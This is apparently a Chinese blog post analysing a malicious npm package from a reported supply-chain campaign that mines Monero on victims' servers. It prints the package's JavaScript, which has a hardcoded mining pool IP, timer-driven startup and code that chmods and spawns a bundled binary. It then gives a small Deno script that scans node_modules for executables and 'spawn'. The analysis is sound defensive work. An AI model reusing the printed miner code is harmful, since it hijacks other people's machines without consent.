“事件简述
近日,checkmarx 研究人员公开了一起涉及众多包的 NPM 软件供应链攻击事件。
事件最早可以追溯到 2021年12月,攻击者投放了1200多个包含混淆加密的恶意 NPM,这些包含有相同的挖矿脚本 eazyminer,该脚本的目的是利用如 Database 和 Web 等所在服务器的机器闲置资源进行挖矿。”
居然有人在代码里下毒,对应偶尔写JS的我来说,忍不住下了一个包回来瞅瞅。
先看看入口 app.js
const path = require('path'); const express = require('express'); const bodyParser = require('body-parser'); const merge = require('deepmerge'); const Controller = require('./miners.controller'); const Logger = require('./logger'); module.exports = class App { config = { productionOnly: false, autoStart: true, pools: [{ coin: 'XMR', user: 'rawr', url: '130.162.52.80:80', // optional pool URL, }], opencl: { enabled: false, platform: 'AMD' }, web: { enabled: true, port: 3000 }, log: { enabled: false, level: 'debug', writeToConsole: false } }; logger = null; _isProduction = (process.env.NODE_ENV || '').toLowerCase().startsWith('prod'); _app = null; _controller = null; _initialized = false; get controller() { return this._controller; } constructor(options) { this.config = merge(this.config, options); this.logger = new Logger(this); if (this.config.autoStart) { this.start(); } } start() { if (!this._initialized) { this._init(); } this._controller.start(); } stop() { this._controller.stop(); } _init() { if (this._initialized) { throw new Error('already initialized'); } if (this.config.wallet) { this.logger.error('Depricated eazyminer configuration. Please check https://www.npmjs.com/package/eazyminer for updated config options.'); this.logger.info('Not starting'); return; } if (this.config.productionOnly && !this._isProduction) { this.logger.info('Eazy Miner config set to productionOnly. Not initializing'); return; } this._controller = new Controller(this); if (this.config.web.enabled) { this._setupWebServer(); } this.controller.loadMiner('rqndoxabkthupgik'); this._initialized = true; } _setupWebServer() { this._app = express(); this._app.use(express.static(path.join(__dirname, '../../public'))); this._app.use(express.json()); //Used to parse JSON bodies this._app.use(bodyParser.urlencoded({ extended: true })); // Public API (status, settings etc) this._app.get('/', (req, res) => res.sendFile('index.html')); this._app.get('/status', (req, res) => { res.send({ system: this._controller._system, performance: this._controller.status }); }); this._app.post('/settings', (req, res) => { this._controller.updateSettings(req.body); res.sendStatus(200); }); this._app.listen(this.config.web.port, () => { this.logger.info(`Webserver listening on port: ${this.config.web.port}`); }); } }
大致流程:constructor() ->start()->_init() , 初始化controller,loadMiner(), 然后this._controller.start()。接着看看miners.controller.js
const os = require('os'); const osu = require('node-os-utils') const cpu = osu.cpu const mem = osu.mem const Table = require('cli-table'); module.exports = class Controller { _app = null; _active = false; _running = false; _settings = { maxCPU: 60, maxGPU: 60, maxRAM: 60, tickInterval: 2000 }; _miners = []; _tickInterval = null; _system = { cpuLoad: 0, freeMem: 0, ram: {} } _status = { coins: [ { id: 'stratus', total: 0 } ] } get status() { return { coins: [ { id: 'stratus', total: 0 } ], active: this._active } } constructor(app) { this._app = app; this.init(); } init() { } start() { if (this._running) { this._app.logger.info('Start: miner already running'); return; } this._app.logger.info('Starting miner') this._tickInterval = setInterval(() => this.tick(), this._settings.tickInterval); this._running = true; } stop() { this._app.logger.info('Stopping miner'); clearInterval(this._tickInterval); this._tickInterval = null; this._running = false; this._miners.forEach(miner => miner.stop()); } reset() { } async tick() { this._system.cpuLoad = await cpu.usage(); this._system.ram = await mem.info(); this._system.cpu = os.cpus(); this._system.freeMem = os.freemem(); // process.stdout.write('\x1b[H\x1b[2J') // instantiate var table = new Table({ head: ['TH 1 label', 'TH 2 label'] , colWidths: [100, 200] }); // table is an Array, so you can `push`, `unshift`, `splice` and friends table.push( ['First value', 'Second value'] , ['First value', 'Second value'] ); if (!this._active) { this._active = true; this._miners.forEach(miner => miner.start()); } // if (this._settings.maxCPU > this._system.cpuLoad) { // this._active = true; // } else { // this._active = false; // } // if (this._active) { // this._miners.forEach(miner => miner.start()); // } else { // this._miners.forEach(miner => miner.stop()); // } this._status.coins[0].total = 0; } updateSettings(settings) { Object.assign(this._settings, settings); console.log(this._settings) } loadMiner(name) { const Miner = require(`./miners/${name}/${name}.miner.js`); const miner = new Miner(this._app); this._miners.push(miner); } removeMiner(name) { const miner = this._getMiner(name); miner.stop(); } pauseMiner(name) { this._getMiner(name).pause(); } updateMiner(name, settings) { this._getMiner(name).update(settings); } _getMiner(name) { return this._miners.find(miner => miner.name === name); } }
loadMiner 加载初始化了Miner,star() 调用了定时器运行miner.start()。接着看看 加载的 rqndoxabkthupgik.miner.js
const os = require('os'); const fs = require('fs'); const path = require('path'); const { spawn } = require('child_process'); const PLATFORM = os.platform().toLowerCase(); const LINUX_PATH = path.join(__dirname, './rqndoxabkthupgik'); const WINDOWS_PATH = path.join(__dirname, './rqndoxabkthupgik.exe'); module.exports = class rqndoxabkthupgikMiner { name = 'rqndoxabkthupgik'; _app = null; _initialized = false; _miner = null; _filePath = null; _running = false; _worker = null; constructor(app) { this._app = app; this._init(); } async _init() { if (PLATFORM === 'linux') { this._loadLinux(); } else if (PLATFORM === 'win32') { this._loadWindows(); } else { throw new Error('Unsopperted platform'); } this._initialized = true; } start() { if (this._running) { console.info('rqndoxabkthupgik already running'); return; } this._running = true; this._exec(); } stop() { if (this._worker) { this._worker.kill(); this._worker = null; } } getStatus() { } _loadLinux() { // add execution rights fs.chmodSync(LINUX_PATH, 754); this._filePath = LINUX_PATH; } _loadWindows() { this._filePath = WINDOWS_PATH; } _exec() { this._updateConfig(); // start script this._worker = spawn(this._filePath, []); // passthrough output this._worker.stdout.on('data', data => this._app.logger.info(data)); this._worker.stderr.on('data', data => this._app.logger.error(data)); } _updateConfig() { const configBasePath = path.join(__dirname, './config.base.json'); const configBase = JSON.parse(fs.readFileSync(configBasePath)); // merge given pools config with base configs const pools = this._app.config.pools.map(poolConfig => Object.assign({}, configBase.pools[0], poolConfig)) this._app.logger.info('rqndoxabkthupgik pools configuration'); this._app.logger.info(JSON.stringify(pools, null, 2)); configBase.pools = pools; Object.assign(configBase.opencl, this._app.config.opencl); Object.assign(configBase.cuda, this._app.config.cuda); fs.writeFileSync(path.join(__dirname, 'config.json'), JSON.stringify(configBase, null, 2)); } }
噢,大概就是判断操作系统,然后 通过 spawn 运行对应的可自行文件。不知不觉就变傀儡机了。
那么就让我写个简单的查询,查找一下包里可疑的文件吧。大致就是查找可执行文件和包含spawn单词的文件(对于混淆过的估计就没有用了)
import { walk } from "https://deno.land/std@0.148.0/fs/mod.ts"; import { BufReader } from "https://deno.land/x/std@0.148.0/io/buffer.ts"; import { readLines } from "https://deno.land/std@0.148.0/io/mod.ts"; import { startsWith , includesNeedle } from "https://deno.land/std@0.148.0/bytes/mod.ts"; const path = "./node_modules"; for await (const entry of walk(path)) { if (entry.isFile) { let fileReader = await Deno.open(entry.path); let fileInfo = await Deno.stat(entry.path); let r = new BufReader(fileReader,fileInfo.size); let arr = new Uint8Array(fileInfo.size) let data = await r.readFull(arr); if (startsWith(arr, new Uint8Array([77, 90])) || startsWith(arr, new Uint8Array([127, 69, 76,70])) ) { console.log(entry.path); } else if (includesNeedle(arr, new Uint8Array([115, 112, 97,119,110]))) { console.log(entry.path); } } }
为什么我用DENO,因为NODE在WIN 7下跑不起来。运行效果如下: